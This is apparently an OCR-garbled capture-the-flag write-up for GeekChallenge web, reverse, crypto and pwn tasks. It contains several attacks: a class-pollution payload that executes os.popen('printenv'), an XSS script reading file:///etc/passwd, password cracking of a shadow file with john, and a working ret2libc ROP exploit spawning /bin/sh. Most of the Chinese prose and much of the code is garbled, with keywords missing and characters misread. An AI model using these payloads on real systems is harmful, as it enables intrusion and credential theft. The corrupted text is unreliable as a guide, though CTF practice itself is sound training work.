CHALLENGE_019A10D0_2FA4_019A7DT1_A466_PORT_3000_TCP=tcp://10.105.48.162:3000 CHALLENGE_019A2837_DSED_019A1633_ADF_SERVICE_HOST=10.107.178.144
CHALLENGE_019A2837_D8ED_019A1633_1ADF_PORT_8080_TCP_ADDR=10.107.178.144 CHALLENGE_019A7612_86C2_019A12AE_737B_SERVICE_PORT=3000
CHALLENGE_019A7612_86C2_019A12AE_737B_PORT=tcp://10.109.151.109:3000 CHALLENGE_019A14B0_CA72_019A10AD_1CF9_PORT_80_TCP_PORT=80
CHALLENGE_019A10D0_2FA4_019A7D71_A466_SERVICE_HOST=10.105.48.162 CHALLENGE_019A01CB_BF3C_019A1164_4D72_SERVICE_PORT_PORT_8080=8080
CHALLENGE_019A7612_96BB_019A1594_208B_SERVICE_HOST=10.106.69.209 CHALLENGE_019A0102_4CF4_019A1623_BACF_PORT_80_TCP_ADDR=10.109.253.156
CHALLENGE_019A7612_96BB_019A1594_2D88_PORT_8080_TCP_ADDR=10.106.69.209 CHALLENGE_019A14B0_82BF_019A2051_DA46_SERVICE_PORT=80
CHALLENGE_019A14B0_82BF_019A2051_DA46_PORT=tcp://10.108.234.6:80 CHALLENGE_019A14B0_CAT2_019A10AD_1CF9_PORT_80_TCP_PROTO=tcp
CHALLENGE_019A2837_DSED_019A1633_1ADF_PORT_8080_TCP_PORT=8080 APACHE_RUN_GROUP=www-data APACHE_RUN_USER=www-data
CHALLENGE_019A10D0_2FA4_019A82B1_AF30_PORT_3000_TCP=tcp://10.108.12.240:3000 CHALLENGE_019A7612_96BB_019A1594_2D8B_PORT_8080_TCP_PORT=8080
CHALLENGE_019A0102_4CF4_019A1623_BACF_PORT_80_TCP_PORT=80 CHALLENGE_019A10D0_2FA4_019A8B0A_2F05_PORT_3000_TCP=tcp://10.102.181.13:3000
CHALLENGE_019A10D0_2FA4_019A82B1_AF30_SERVICE_HOST=10.108.12.240 CHALLENGE_019A2B37_DSED_019A1633_IADF_PORT_8080_TCP_PROTO=tcp
CHALLENGE_019A0102_4CF4_019A1623_BACF_PORT_80_TCP_PROTO=tcp CHALLENGE_019A10D0_2FA4_019A7703_793E_SERVICE_PORT_PORT APACHE_LOG._ h
CHALLENGE_019A7612_96BB_019A1594_2D8B_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A10D0_2FA4_019A8BOA_2F0S5_SERVICE_HOST=10.102.181.13 KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 CHALLENGE_019A2837_DBED_019A1633_1ADF_PORT=tcp://10.107.178.144:8080 CHALLENGE_019A4FOF_6B59_019A302D_A3C9_PORT_8080_TCP_ADDR=10.109.91.158
CHALLENGE_019A2B37_DSED_019A1633_1ADF_SERVICE_PORT=8080 CHALLENGE_019A4FOF_6859_019A3D2D_A3C9_SERVICE_HOST=10.109.91.158
CHALLENGE_019A2F4D_887A_D19A14CE_A45D_PORT_8080_TCP_ADDR=10.97.24.254 CHALLENGE_019A10D0_2FA4_019A70BS_504D_SERVICE_PORT_PORT_3000=3000
CHALLENGE_019A2F4D_887A_D19A14CE_A45D_SERVICE_HOST=10.97.24.254 CHALLENGE_019A10D0_2FA4_019A7D71_A466_SERVICE_PORT=3000 PWD=/var/www/html/uploads
CHALLENGE_019ASE61_BB39_019A1196_9888_PORT_8080_TCP_ADDR=10.111.170.154 CHALLENGE_019A1000_2FA4_019A7D71_A466_PORT=tcp://10.105.48.162:3000
CHALLENGE_019A14B0_82BF_019A2051_DA46_PORT_80_TCP_ADDR=10.108.234.6 CHALLENGE_019A7612_96BB_019A1594_208B_SERVICE_PORT=8080 PHPIZE_DEPS=autoconf dpkg-dev file g++ gec libc-dev make pkg-config
re2c CHALLENGE_019A7612_96BB_019A1594_208B_PORT=tcp://10.106.69.209:8080 CHALLENGE_019ASE61_BB39_019A1196_988B_SERVICE_HOST=10.111.170.154 KUBERNETES_SERVICE_HOST=10.96.0.1
PHP_SHA256=475f991afd: CHALLENGE_019A7612_86C2_019A12AE_737B_SERVICE_PORT_PORT_3000=3000
CHALLENGE_019A14B0_CAT2_019A10AD_1CF9_PORT_80_TCP=tcp://10.104.208.175:80 CHALLENGE_019A4FOF_6B59_019A3D2D_A3C9_PORT_8080_TCP_PORT=8080 APACHE_ENVVARS=/etc/apache2/enwvars
CHALLENGE_019A2F4D_887A_D19A14CE_A45D_PORT_8080_TCP_PORT=8080 CHALLENGE_019A4FOF_6859_019A3D2D_A3C9_PORT_8080_TCP_PROTO=tcp
CHALLENGE_019A10D0_2FA4_019A82B1_AF30_SERVICE_PORT=3000 CHALLENGE_019A14B0_82BF_019A2051_DA46_PORT_80_TCP_PORT=80 CHALLENGE_019A10D0_2FA4_019A82B1_AF30_PORT=tcp://10.108.12.240:3000
CHALLENGE_019A2F4D_887A_D19A14CE_A45D_PORT_8080_TCP_PROTO=tcp CHALLENGE_O019ASE61_BB39_019A1196_988B_PORT_8080_TCP_PORT=8080
CHALLENGE_019A01CB_BF3C_019A1164_4D72_SERVICE_HOST=10.100.105.52 CHALLENGE_019A14B0_82BF_019A2051_DA46_PORT_80_TCP_PROTO=tcp
CHALLENGE_019A10D0_2FA4_019A8B0A_2F05_PORT=tcp://10.102.181.13:3000 CHALLENGE_019A10D0_2FA4_019A8BOA_2F05_SERVICE_PORT=3000
CHALLENGE_019A01CB_BF3C_019A1164_4D72_PORT_8080_TCP_ADDR=10.100.105.52 FLAG=SYC(0_M3_de._t0u_019a8b45fd207f{4865844af907c9230}
CHALLENGE_019A2B37_DSED_019A1633_1ADF_PORT_8080_TCP=tcp://10.107.178.144:8080 CHALLENGE_019ASEG1_BB39_019A1196_988B_PORT_8080_TCP_PROTO=tcp
CHALLENGE_019AT612_96BB_019A1504_2D8B_PORT_8080_TCP=tcp://10.106.69.209:8080 CHALLENGE_019A01D2_4CF4_019A1623_BACF_PORT_80_TCP=tcp://10.109.253.156:80
CHALLENGE_019A0102_4CF4_019A1623_BACF_PORT_80_TCP=tcp://10.109.253.156:80

Zdi: #REN flag 7. jpg
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4ALLENGE_019A10D0_2FA4_019A8B0OA_2F05_SERVICE_PORT=3000
05.52 FLAG=SYC{0_M3_de_t0u_019a8b45fd207ff4865844af907c9230}
8.144:8080 CHALLENGE_019A5E61_BB39_019A1196_988B_PORT_8080_T!

SYC{0_M3_de_tBu_019a8b45fd207ff4865844af907c9230}

e [web] BFH&
FiIR—T, KIAEE Python Sk&AEETH, AT LGRS ZHH
__Class__EMAE3 XN, BENEH__base__BMHEREH

ZS:PES

WBIBIE R, &£ ZA K Human->Father->Colonel, g “abRs

NRAFREREE &, WHBEEERE flag

" {"__base__":

{"__class__": {"__base
{"execute_method": "lambda executor, target:
(target.__del__(), setattr(target, 'alive', False),
__import__('os').popen('printenv').read())"}}}}

CHALLENGE _019A01CB_BF3C_019A6D63_4E2E_PORT_8080_TCP_ADDR=10. 100. 39. 177
CHALLENGE 019A277E_5882_019A7ASE_A653_SERVICE_HOST=10. 96. 8. 212
FLAG=SYC{One_Hundr3d_Ye@rs of Inheritance 019a830cca317d0193f9¢79531d0648e}

CHALLENGE_019A531B_8F6D_019A82E0_5808_PORT_1337_TCP=tcp://10.99. 102. 215:1337
CHALLENGE 019A09FC_908C_019A70B5_504D SERVICE HOST=10. 108. 165.124

23| flag

SYC{One_Hundr3d_Ye@rs_of_Inheritance_019a830cca3l

7d0193f9e79531d0648e}

i AREE ABUT open(__file__) .read() T A EE| KR

W, MERE.

® [web] PDF Viewer




W _ERIRE] T I — A= E B WP:

https://ctftime.org/writeup/32530

H

<script>

X = new XMLHttpRequest();

x.open('GET', 'file:///etc/passwd', false);
x.send();

document.write(x.responseText);

</script>

I%EX passwd, R+ 74 3B shadow
SRR unshadow fo john &£ WeakPassword_Admin #9585
EBEERMTT

L—(python—venv)(pi@ LAPTOP-ICPUJCOI)-[/mnt/d/PiYuanZhoulv/s1l/GeekChallenge/web]
$ unshadow passwd.txt shadow.txt > pass.txt

L—(python—venv)(pi@ LAPTOP-ICPUJCOI)-[/mnt/d/PiYuanZhoulv/s1/GeekChallenge/web]
$ john --show pass.txt
WeakPassword_Admin:qwerty:1003:1003:: /home/WeakPassword_Admin:/bin/bash

1 password hash cracked, 1 left

SYC{YOu_ArE_PDf_mAster}

SYC{YOu_ArE_PDf_mAster}



https://ctftime.org/writeup/32530

Reverse

® [re] encode

EEFGERESRSR— Tt basebs, EHERELNEE, NARE
BHE—1enc Rk, ERXXEIA, AIWE scanf BE@mm 7y —1
enc! i enc EZFrEE—"N0RH) TEA, LHAERMAENRE:

target
76,0x42,0x7A,0x58,0x33,0x30,0x4B,0x6F ,0x78,0x6C,0x33,0x48,0x70,0x44,
61,0x59,0x61,0x46,0x4A,0x4B,0x68,0x79,0x42,0x2F ,0%x31,0x63,0Xx6B,0x75,
56,0x43,0x6E,0x63,0x34,0x77,0x5A,0x68,0x72,0x77,0x55,0x57,0x65,0x4E,
75,0x5A,0x6B, 0x41,0x78,0x72,0x2B,0x51,0Xx6E,0x35,0x55,0x61,0x59,0x62,0x7
76,0x79,0x6D, 0x6D,0x43,0x72,0X6B]

"'.join([chr(i) i target])

base64
print(b64)
print('uint8_t encrypted[] = {'+', '.join([hex(i)
base64.b64decode(b64)])+"};")

<stdio.h>
<stdint.h>

uint8_t encrypted { d7, df, 42, as, c6, 5d,
c7, Oxad, Ox36, Ox98, Ox68, 0x52, Oxda, 20, ds,
2e, Ox54, 0x29, Oxdc, Oxe3, Ox6, Ox61, Oxaf, Ox5, Ox16, 0x78, Oxdb,
99, 0x90, Oxc, Ox6b, Oxf9, Ox9, Oxf9, Ox51, Oxa6, Oxlb, fc,
a6, 98, 2a, e4};

dec_block(uint32_t *data, uint8_t *key) {
i, J;
uint32_t v4;
uint32_t v5, v6;
uint32_t v7[4];




V6
((data[@] £1000000)>>24) | ((data[9] 001f0000)>>8) | ((data[9] 0000ff

00)<<8) | ((data[0]80x0P00BOFf)<<24);

v5
((data[1] £1000000)>>24) | ((data[1] 001f0000)>>8) | ((data[1] 0000ff

00)<<8) | ((data[1]&0x000000FF)<<24);

(1=0;1c<4; ++i) {
v7[1i] (key[4%i+1] 16) | (key[4*i] 24)
(key[4*i+2] 8) key[4*i+3];

(-1640531527)*32;
(3 =0; J <32; ++3j) {
v5 (((ve 5) (v6 4)) v6) (v4d + v7[(v4 11)

\Z 1640531527,
v6 (((v5 5) (v5 4)) + v5) (v4d + v7[v4 & 3]1);

}

data[o]
((v6R0xFf000000)>>24) | ((v680x00Ff0000)>>8) | ((V6L0Xx0000FFE0)<<8) | ((V6

000000 f)<<24);

data[1]
((v580xFf000000)>>24) | ((v5&0x00ff0000)>>8) | ((v520x0000Ff00)<<8) | ((V5

000000 f)<<24);

main() {
uint8_t key[16]
67,0x65,0x65,0x6B,0x32,0%30,0x32,0x35,0x72,0%65,0x76,0x65,0x72,0x73

,0x65,0x21 };

( i=0; i<48; i++){
encrypted[i] 5a;

( i=0; i<48; i+=8){
dec_block((uint32_t*)(encrypted+i), key);




i=0; 1<48; i++){

printf("%c", encrypted[i]);

FB_RMEBNT AL AE, BEE—FBRAMBNTLRBER, &
EFIBCRRERERERT
D:\PiYuanZhouLv\sl\GeekChallenge\reverse>solveEncode2

SYC{St4nd4rd_Functlen Net 4lwdys Stdnd4rd}
D:\PiYuanthuLv\sl\GeekChallenge\reverse>I

SYC{Stand4rd_Funct10n_NOt_4lways_St4and4rd}

® [re] ez_pyyy

pyc ¥, HEEZA junk code B%E, HiEpycdc 23R, i
TRIERERIAREMIFT, LBRE, A3FLH, RERRF
SR B9 R FE AL E CV ASKERH R EY







str_to_hex_ bytes(s
s.encode( 'utf-8")

enc(data , key :
q X : x ])(data))

renc(data , key

q : x ])(data))

en33(data , N ):

'K bitstream JEMNERS n it

bit len len(data) 8

n n bit_len

val = int.from_bytes(data, 'big')

val = (val n | val bit_len - n) bit_1len)
val.to_bytes(len(data), 'big'")

ren33(data , N E

"UUEER bitstream 7B you £ n firt !

bit len = len(data) 8

n n bit_len

val = int.from_bytes(data, 'big')

val (val n | val bit_len - n)
val.to_bytes(len(data), 'big'")

__name__ __main__':

cipher = bytes.fromhex(''.join([chr(c) cipher]))




cipher = ren33(cipher, 32)

cipher = cipher[::-1]
cipher = bytes(ren3(c)
cipher = renc(cipher, 17)
print(cipher)
print(bytes(cipher))

D:\PiYuanZhoulLv\sl\GeekChallenge\reverse>D: /python314/python.exe d:/PiYuanZhoulLv/sl/Gee
kChallenge/reverse/ez_pyyy.py

[83, 89, 67, 123, 186, 116, 1€2, 103, 1@, 115, 182, 188, 97, 53, 53, 52, 95, 97, 53, 5
2, 1ee, 56, 97, 115, 53, 51, 125]

b'syc{jtfgdsfda554_ a54d8as53}"'

SYC{jtfgdsfda554_a54d8as53}

® [re] only_flower
RAE—4%, BELE—FRRE—L

A IDA 77T, #&E|LIH9t 7

LF

LF loc_40161F: ; CODE XREF: _main:loc_40161F1j
LF jmp short near ptr loc_40161F+1

LF _main endp

LF

KO RELEBNEES, XERFARE —FNVREIT, Fr
IR —F TR 90(nop) ;4T 7, RS, SHRIVRRIFT,
WRBMEIEIHE T LS python A, BEEHRAS, ARFaHKE

SRR JEIE R o, RIRBEIMUB+FRRMZE

Moid _ cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)

{

size_t klen; // [esp+18h] [ebp-1@h]
size_t 1i; // [esp+1Ch] [ebp-Ch]
klen = strlen(KEY); // "GEEK2825"
for (1 =0; 1< len; ++i )
out[i] = i + rol8(KEY[i % klen] ~ in[i], KEY[i % klen] & 7);// "GEEK2@25"



2o AR AL

84,0xC2,0x84,0x51,0x48,0x5F ,0xF2,0x9E,0x8D, 0xDO, 0x84 ,0X75,0X67,
8F,0xCA,0x57,0xD7,0XE6,0x14,0x6E,0x77,0XE2,0x29,0xFE , 0XDF ,0xCC]
ord(c) "GEEK2025" ]

ke ((v (k &7)) | (v (8 - (k & 7))))&0xff

".join([chr(unrol8(target[i]-i, key[i%8])"key[i%8]) i
range(28)])
print(flag)

D:\PiYuanZhoulLv\sl\GeekChallenge\reverse>D: /python314/python.exe d:/PiYuanZhoulLv/sl/Gee
kChallenge/reverse/only Flower/solve.py
SYC{asdjjasdhjki2wk12ijkejk}

SYC{asdjjasdhjk12wk12ijkejk}

® [re] ezRu3t
Samsara B AX A EAE) R
Z rust #m, REFELN\EN, BET7FRREURXELERS, TE
a1
S B— /M7 baseb4

va3[@] = core::str::<impl str>::trim_matches(vs1, v52);

va3[1]

v55 = *((_QWORD *)&v57 + 1);
i i_1 = *(_QWORD *)v58;
*(_QWORD *)v6d = BLL;

*RAX ©POOO2AF74CDOFP@ (debugb22) -> ("12345678901234567896\r\n")

*RAX ©6BO02AF74CDOF58 (debug822) -> (“"MTIzZNDU2Nzg5MDEyMzQ1Njc40TA=")



1234567890123456789
To Base64 © n 0

Alphabet
A-Za-z0-9+/=

mec 26 = 1

Output A«

MTIzNDU2Nzg5MDEYMzQING c40TA=

REA—A 85 NFRMR, FBINE base85

.rdata:@e0e7FF6A929E7AG 3612345678qAbcd db 'I"#$%&",27h, ' ()*+,-./0123456789: ; <=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[ '
.rdata:@eee7FF6A929E7AR ; DATA XREF: true_main+243To
.rdata:00@07FF6A929E7DB db '\]"_"abcdefghijklmnopgrstu',®

*RDI 00OOO2AF74CDIFAG (debuge22) -> ("9i0]1:./);:3pP19ghEqomTYk:248q:KevC")

1234567890123456789
To Base64 O n 9

Alphabet

A-Za-z0-9+/=
To Base85 O n

Alphabet

1-u * [ Include delimeter

mc 20 = 1

Output £«

\910]1 t./);:3pP19ghEq9mTYk : 248q: KBVC

Rt Z hex



debug®22:000002AF74CE@6EG db 33h
debug@22:800002AF74CEQGEL db 3%h
debug®22:000002AF74CEB6E2 db 36h
debug@22:000002AF74CEO6E3 db 3%h
debug@22:000002AF74CEO6E4 db  34h
debug@22:000002AF74CEG6ES db 66h
debug@22:000082AF74CE@6E6 db 35h
debug@22:000002AF74CEQGE7 db 64h
debug@22:600002AF74CEQGES db 33h
debug@22:000002AF74CER6ES db 31h
debug@22:000002AF74CER6EA db  33h
debug@22:000002AF74CEQ6EB db 61h
debug@22:000002AF74CEQ6EC db 32h
debug®22:000002AF74CEG6ED db 65h
debug@22:000002AF74CEQGEE db 32h
debug@22:800002AF74CEQGEF db 66h
debug®22:000002AF74CER6FE db 32h
debug@22:000002AF74CEQ6F1 db 3%h
debug@22:000002AF74CEO6F2 db 33h
debug@22:000002AF74CEG6F3 db 62h
debug®22:000002AF74CEG6F4 db 33h
debug®22:000002AF74CEQ6F5 db 61h
debug®22:0808002AF74CEB6F6 db 33h
debug®22:000002AF74CER6F7 db 33h

12345678901234567830
To Base64 3 n

A-73-28-9+/=
To Base85 .
e " [include delimeter

To Hex n

None o _

e =1

Output #:

WWo WOWWOWN-HRNDND WEWAU-HPOOWYW

39694 5d313a202F29153a337050313967684571 3964545963432 341871 345305643

RS BintbR

RBX ©00001D621D45BEG (debugB28) -> ("3c41413b58414d3f2c51403b545b7240374537373968383b:!
RCX ©00001D621D40766 (debugd28) -> ("3967684571396d54596b3a323438713a4b305729396b6d42!
RDX ©00001D621D45BEG (debugb28) -> ("3c41413b58414d3f2c51403b545b7240374537373968383b:!

€® Export Plus: Export Data X | Recipe B F  input
‘ 3c41413b58414d32c5F403b545072403745
u
Selected address debug028:000001D621D45BE0 e
Selected Length  0x78) v To Hex S u
Selected Data ) 34 31 36 63 33 31 35 64 35 33
Data Type String literal v
Export As String i

From Hex O u

Export Format: Defimite

Auto
Esport Window
3c41413b58414d32c5f403b545b7240374537373968383b | From Baseds o R
733e276070743d3e336336415375484641534F74503c476b R
665f4134266750416c315d53 B 1w - Remove non-alphabet chars Output

| SYCfohjhhh_ybu_g3t_Ezzzzzi_Ruitl@l
TTr———
z
From Base64 n
Line:1 Column:1l Alphabet
N Remove non-alphabet chars

Export File Path rerse\ezRu3t\export_results. txt v

] i ‘ [ strict mode

‘ A-Za-2z0-9+/=

SYC{Ohjhhh_yOu_g3t_Ezzzzz3_Ru3t!Q@}

® [re] ezSMC
Fr A TR 24 AR? A=A, FTUshE

LB, BIEE—NRC4, EEE— base58, Fa|ahiF



v8 = (char *)malloc(4 * ((len + 2) / 3) + 1);
if ( tv8 )
return BLL;
vil = @;
for (i =©; 1< len; 1 += 3 )
{
v9 = buf[i] << 16;
if ( len > 1+ 1)
v9 |= buf[i + 1] << 8;
if (len > 1+ 2)
v9 |= buf[i + 2];
v8[v1l] = encodee(unsigned char const*,int)::base64_table[(v9 >> 18) & ©x3F];
v3 = vll + 1;
vi2 = vil + 2;
v8[v3] = encodee(unsigned char const*,int)::base64_table[(v2 >> 12) & Ox3F];
if (len <=1+ 1)

neél = 61;
else

nél = encodee(unsigned char const*,int)::base64_table[(vS >> 6) & Ox3F];
v5 = v12;

vl3 = v12 + 1;
v8[v5] = n61;
if ( len <=1 + 2 )

nel_1 = 61;
else

nél_1 = encodee(unsigned char const*,int)::base64_table[v9 & ©x3F];
v7 = v13;

ZIME— baseb4

4 CyberChef A% base k4%

Recipe oma Input

tHMoSoMX71sm62ARQ8aHF6188nhkHIAC2I7CrkQsQeXpiy6efoC8YVkzZultMyFxC
From Base58

Alphabet .
ABCDEFGHIKLMNPQRSTUVIXY... Remove non-alphabet chars

From Base64

Alphabet
A-Za-2z08-9+/= 7 Remove non-alphabet chars

\:\ Strict mode

Asc 120 = 1

Output £«

dfd24c6c33beee2bd9329061186012b05dal542dd3f09Tb0e%aed330c87477cc|

SRJ5 F python & RC4, XEH RC4_plain/RC4_encrypted &
SRR ER Y BA 3C - 55 SO

S

RC4_plain

31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32,0x33,0x34,



36,0x37,0x38,0x39,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,
30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32,
34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x3
38,0x39,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31
32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32, 35,
36,0x37,0x38]
RC4_encrypted
BD,0xB9,0x3C,0x23,0x49,0xCO,0xB1,0x7B,0x18,0x6A,0xC7,0x3B,0x43,0xB,
5E,0xB6,0x1F,0xC6,0x26,0x73,0xD2, 0xXAF, 0xF3,0xD7,0x91,
67,0x83,0x2B,0x71,0xE, 0xD4,0x5B, 0x99,0x20,0x49,0XAF,0x43,
34,0x6C,0x1A,0xC4,0x31,0x29,0x66,0xE0,0x35,0x22,0x96,
ED, Ox5F, 0xD, 0x8D, 0xF9,0xFC,0x39, E1l, 6E,0x80,
2D, 0xEB, 0x0,0xCB,0x7F ,0x9,0x68, FB, 16,

encl
"dfd24c6c33beee2b49329e61186012b05dal542dd3f09fbRe9aed330c87477cc'
encl int(encl[i:i+2], 16) i range(@, len(encl), 2)]

print('"'.join([chr(a”“b”c) a, b, c zip(RC4_plain, RC4_encrypted,
encl)]))

D:\PiYuanZhouLv\sl\GeekChallenge\reverse>D: /python314/python.exe d:/PiYuanZhoulLv/sl/GeekChallenge/reverse/SMC.py
syc{oHhhhhhhh_y@u_Knem_sMcccc@! }

SYC{OHhhhhhhh_yGu_KnOm_SMCCCCQ@! }

e [re] QYQS o EWER

—MREENFHK, EREEEFH—TRTT

3,
17,0x7F,0x38]
ord(i) i in "QYQs"]

print(''.join([chr(i*v~ key[i%4]) i, v enumerate(QYQS)]))

/QYQs D

SYC{I_@m_QyqS_ri1GhT?}

® [re] Genshln



—/MRETEBEDN, FEARBEN (BIHERHEEBILFRE
A7), WEE—T

stack_push((__intéd)dest); // input
stack_push(i); // length == 28
stack_push((__inte4)&z1); // key+input

// key="geek2@25"
stack_push(8LL); // keylength
stack_push((__inté4)encrypt); // callee
stack_push(®eLL); // calltype
stack_push(4LL); // paramcount

reverse_call();
XEEZ, BAT encrypt(input, 28, key, 8), #3|

encrypt

—MNERE RC4 (AW ERAA RN RXZ RCL), B MEE
L SN

key 'geek2025"

target
52,0x59,0xF3,

56,0x81,0x5A,0xE5,

decrypt():
vl3 = list(range(256))
vl3.extend([ord(key[i%8])
v8 (%]
j range(256):
v8 v13[j] v13[j 256 ]

v8 256
v13[j], v13[v8] vi3[v8], vi13[j]
' (%]
k range(28):
v7 1
v7 256
v9 v13[v7]
v9 256
vi13[v7], v13[v9] v13[v9], vi13[v7]
target[k] v13[(v13[v7]+v13[v9])%256]




decrypt()
print('"'.join([chr(i) i target]))

D:\PiYuanZhoulv\sl\GeekChallenge\reverse>D: /python314/python.exe d:/PiYuanZhoulv/sl/GeekChallenge/reverse/crackYuanshen.py
SYC{5@_yeu_pl@y_Genshln_too}

SYC{50_yOu_pl@y_Genshln_too}

® [re] QYQS 0 &EYEIE 2

HE—ANEERE D7

o

D:\PiYuanZhoulv\s1\GeekChallenge\reverse>D: /python314/python.exe d:/PiYuar . ; 4 A %D-Lal/’\ F
#Hr &  /decrypt.py ! #+ N AL )
SYC{I_@m_QyqS_riGhT?}

D:\PiYuanZhoulLv\sl\GeekChallenge\reverse>D: /python314/python.exe d:/PiYua SYC{I_@m_quS_r]_GhT?}

SYC{1_@n_Quas_rashT?) W0UEL M, 1318 QVOSIE AR

BELH RIATEA=BRMEANCH, mRESANER, L3N
LFRPUTHERE =R, MEZRA—AHERT —12RXE:

Eovsxd rax, [rbp:2D9h+vaP_11C]’
movsx  eax, [rbp+rax+2Deh+Str]
movsxd rcx, [rbp+2D8h+var_11C]

lea rdx, aSycMYBeYOuF ; "S\x©0\x88\xeeY\x08\xee\xeeC\xee\xee\xee". ..
cmp eax, [rdx+rcx*4]

jz short loc_7FF7E52C28C7

lea rcx, aQygs_1 3 UHERMG T ARAEQYQSEE A \n" |

call sub_7FF7E52C1401

lsl.'IB.'IB.'IB.'I lYl.‘laJaJBJ l(:l.'la.'la.'la-'l l{l.'la.'la.'la.'l .Ml.'la.'la.'la-'l l@l.'la.'la.'la.'l .yl.'la.'la
; DATA XREF: true_main+41ATo

BJ l_lJeJaJaJ lb‘JBJBJeJ IEIJBJBJBJ I_IJBJBJBJ lyl.’e}e}e} IBIJBJBJBJ 1ul 9

e,e," ",0,0,0,'F',8, ',8,0 !

(%]

XA =E flag

(¢]
' .replace("'

d
'SYC{M@y_bE_yOu_F1nd?}'

SYC{M@y_bE_yOu_F1nd?}




Crypto

® [crypto] Caesar Slot Machine

A, RAXRETWMBET R, EAMBNE - NERFEN,
TAEFHAYE, BRREE Ed TR s EFMRA, FTCR
fREMETTINA (HEELZBRE )

BT EMBEEANA—Nx, EExZTi € [1,1000] N ZREHP(x) =
ax + bEEp i N x

BT RBRBCRE, E &R XA
x = P(x) = ax + b (mod p)
AR
Pi(x) = P"1(P(x)) = P 1(x) = -+ = x (mod p)
FEER, fmxaTbEERTARE:
x = —b(a—1)"" (mod p)

FrABA VIR XA BBk, TEERENAD:
pwn

context(log Level="debug")

io = connect('geek.ctfplus.cn', 31332)

caesar_encrypt(text, shift):
result
char text:
char.isalpha():
base = ord('A") char.isupper() ord('a")




result chr((ord(char) - base + shift) % 26 + base)

result char
result

range(30):

In = io.recvuntil(b'\n")

io.recvuntil(b': ")

shift = ord('A") 1n[9]

1n = caesar_encrypt(ln.decode(), shift)

print(1ln)

a, b, P = int(In.split('B"')[@].split(':")[1]),
int(1n.split('P')[0].split(':"')[2]),
int(1n.split('P:")[1].split('\n")[0O])

x = ((P-b)*pow(a-1, -1, P))%P

(a*x+b)%P X%P
io.sendline(str(x).encode())
io.recvline()

io.interactive()

A: 320517048 B: 175906427 P: 1e0eoeeea7’

[DEBUG] Sent @x9 bytes:
b'71392783\n"
[DEBUG] Received ©x2e bytes:
b'Correct!\n’
b'Flag: SYC{you_found_the_ fixed point}\n’
[#] Switching to interactive mode
Flag: SYC{you found_the fixed point}
[*] Got EOF while reading in interactive

SYC{you_found_the_fixed_point}

® [crypto] ez_1lwe

XE—3 Learn With Error WEE, RALRERERE, EEK

BT AR



Hb =As +e, HFetmEIHE[5900,6000]F, BAIb. A, el
REIERT, WTLLGEN CVP Kiisfue, MXEMetE K, (ERKeR
£59008 R KT, TN LLL+Babai ki, REE%:
https://Oxffff.one/d/1064

from sage.modules.free_module_integer import
IntegerLattice
import numpy as np

def Babai(B, t):
# not square when using .LLL(), so use
IntegerLattice ...

B = IntegerLattice(B, 11l_reduce=True).reduced_basis
G = B.gram_schmidt () [0]
b=t

for i in reversed(range(B.ncols())):
b -= B[i] * ((b * G[i]) / (6[i] * G[i])).round()
return t - b

%[..j], eoo]
[ilé900 for i in rt]

mx
rt
rt

matrix(ZZ, mx)

P
A
b = vector(ZZ, rt)

A.nrows()
A.ncols()

o =

pIr = pxidentity_matrix(r)

#M = block_matrix([[A.transpose()], [pIrll) # [x,
k]*[[A.t], [pIr]] = (b-e).t (but not work ...

M = block_matrix([[pIr], [A.transpose()]]) # [k,
x]*[[pIr], [A.t]] = (b-e).t (this works ...

br = Babai(M, b)

print('e = %s' % (b-br))
R = IntegerModRing(p)
Ar = matrix(R, mx)



https://0xffff.one/d/1064

secret = Ar.solve_right(br)

from functools import reduce

key = reduce(lambda x, y: x*y, [int(i) for i in
secret[:10]1, 1)

CC =

int (3411783841739364524523288978243384437144822435880940
28515024211410706898614912761172113358486784832690072654
04950503463080005497089800226646525359172074859315940783
930656864406105964118013)

from Crypto.Util.number import long_to_bytes
print(long_to_bytes(CC " key))

from functools import reduce

key = reduce(lambda x, y: x*y, [int(i) for i in secret[:10]
CC = int(3411783841739364524523288978243384437144822435880¢
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(CC*"key))

5
b'SYC{fuck_It to® n@sly I wanna_to_slee 121plp silhitl}’

SYC{fuck_It_to0_nBsly_I_wanna_to_slee_121plp_sihi

t1}

Pwn

® [pwn] old_rop

—3E EALAY ROP, gadget #E4M, RAKEI], S%ITENGOT it
libc Euk, REHE system('/bin/sh')®iFT, AW exp:

pwn

context(arch="amd64', os='linux', Log Level="debug')

io = connect('geek.ctfplus.cn', 32683)

libc = ELF('libc/libc.so0.6")




write got 404018

write plt 401050
pop_rdi_ret 4012d3
pop_rsi ri15 ret 4012d1
vuln_addr 401156

payload = cyclic(0x88)

payload p64(pop_rdi_ret)
payload p64(1)

payload p64(pop_rsi_ril5 ret)
payload p64(write_got)
payload p64(0)

payload p64(write_plt)
payload p64(vuln_addr)

io.recvuntil(b'!")
io.sendafter(b'\n', payload)
write_real = u64(io.recv(8))

libc_base = write real libc.sym[ 'write']
log.debug(f'libc base: {libc_base:x}")

payload cyclic(0x88)

payload p64(pop_rdi ret)

payload p64(next(libc.search(b’'/bin/sh"))+1libc_base)
payload p64(libc.sym[ 'system' ]+1libc_base)

io.send(payload)

io.interactive()

at /flag
[DEBUG] Sent exa bytes:
b'cat /flag\n'
[DEBUG] Received ©x3c bytes:
b'SYC{runasama_no_purezento:019a8d21b5da7755963f7dd636547238}\n"
SYC{runasama_no_purezento:019a8d21b5da7755963f7dd636547238}

$ 1

SYC{runasama_no_purezento:019a8d21b5da7755963f7dd

636547238}

® [pwn] Mission Calculator



—/NEEITER, AH exp:
pwn
io = connect('geek.ctfplus.cn', 30338)

io.recvuntil(b'start...\n")
io.send(b'\n")
range(50):
io.sendline(str(eval(io.recvuntil(b'=", ).split(b":")
1])).encode())

io.interactive()

[+] Opening connection to geek.ctfplus.cn on port 32543: Done

[#] Switching to interactive mode

Correct!Congratulations! You have completed all 5@ math problems.
$ cat /flag

